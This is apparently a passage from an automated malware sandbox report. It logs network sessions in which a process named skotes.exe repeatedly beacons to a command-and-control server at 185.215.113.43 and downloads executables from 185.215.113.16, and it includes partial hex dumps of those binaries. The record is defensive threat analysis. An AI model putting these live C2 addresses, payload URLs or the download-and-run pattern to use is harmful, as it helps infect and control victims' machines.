00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 a1 67 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgi@0ig@M$a$$ $h@.rsrc$x@.idata $z@ `$\|@kbusnrxz O~@yvqiegwthB@.taggant0i"F@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49995	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:50.775365114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:03:52.057710886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	50020	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:53.775229931 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:03:55.241837025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	50050	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:57.068500996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:03:58.407954931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	50062	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:00.079000950 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:01.430264950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	50073	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:03.201185942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:04.542625904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	50084	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:06.176680088 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:07.529886961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	50094	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:09.288606882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:10.624695063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	50102	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:12.276370049 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:13.647557974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	50111	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:15.439506054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:16.774646997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.8	50117	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:17.671545982 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 17:04:19.005218029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:18 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 16 Dec 2024 15:49:29 GMT Connection: keep-alive ETag: "67604c09-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 27 7e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,'~+`Ui` @ @.rsrc`2@.idata 8@zhbmyutw+*:@tkykhzdh ++@.taggant@+""+@
Dec 16, 2024 17:04:19.005247116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.005264044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.005486965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.005501032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.005511999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.006062031 CET	744	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.006073952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:04:19.006086111 CET	1236	IN	Data Raw: 05 1e fb bb 64 02 50 e9 54 20 b2 48 14 e5 ee 00 24 a7 a2 e0 38 78 5f 67 0d 70 e4 cf 92 32 be ee 4f ab d1 ff 63 8b f0 22 a9 02 95 f4 7e 3b ce b3 64 09 a6 67 72 bb ee 9f 8f 2f fa 6d bc 61 f5 4b 9a 31 a2 c7 2a fd 7d 8d b5 8f fb 71 2b 3e f0 f7 36 49 Data Ascii: dPT H$8x_gp2Oc"~;dgr/maK1}q+>6I@)s0pyzE~~Sv91&5/a&!5/cY(aa)zcpj)4~oLe&&~P(i.+@Wp?C"UQ$'k]ePMsu}^U:k2d
Dec 16, 2024 17:04:19.006104946 CET	1236	IN	Data Raw: e6 64 ec b3 1f a4 b5 62 76 df 3f 5d cb 70 b9 84 43 11 a3 0c b2 7a 88 28 4a 3e eb 3a be 61 c4 c4 78 61 8d b0 b0 e0 b7 d5 01 06 80 c5 e4 42 d6 eb f6 17 fd f2 0b 75 09 14 45 82 b6 33 e8 97 76 e6 28 08 bd 42 33 6a fc 06 af 00 e5 08 3c 15 e4 72 40 cf Data Ascii: dbv?]pCz(J>:axaBuE3v(B3j<r@"kBMA6R-SF&NIXYOA Qw7oBTFf(`RwUbS!]qXJ3G_u_mO_UO0g(WAQ~B*'C,yfGSN\|`.fR545ok4
Dec 16, 2024 17:04:19.125302076 CET	1236	IN	Data Raw: b2 b2 c1 82 75 46 57 79 48 72 86 21 c5 66 74 0f 9c 0b 72 e4 b3 1d 50 45 75 70 21 48 53 86 45 05 5f 09 d3 22 06 da d1 c4 0f 6d 0d d3 1e 45 52 3f 47 a8 f7 28 e0 08 df ae ee 09 20 fb 56 e8 32 00 3c b7 f0 37 50 07 a6 78 bc 42 2f 64 da 6e 95 c5 67 11 Data Ascii: uFWyHr!ftrPEup!HSE_"mER?G( V2<7PxB/dng/ls6S(JcSHXgc%<V&bNVgk,ssj)?+gU?d)A`6Zjf1tv4Rmw2g@AT~%L`pQ5"-oeB(>9WbP1qoS
Dec 16, 2024 17:04:23.658751965 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 17:04:24.096586943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:23 GMT Content-Type: application/octet-stream Content-Length: 1796096 Last-Modified: Mon, 16 Dec 2024 14:47:26 GMT Connection: keep-alive ETag: "67603d7e-1b6800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 a1 67 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgi@0ig@M$a$$ $h@.rsrc$x@.idata $z@ `$\|@kbusnrxz O~@yvqiegwthB@.taggant0i"F@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50119	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:18.437807083 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:19.776946068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	50155	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:21.578831911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:22.919663906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50177	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:24.560007095 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:25.924246073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	50188	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:27.670770884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:29.008632898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50197	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:30.645076036 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:32.077248096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50204	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:33.826745987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:35.162647009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50210	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
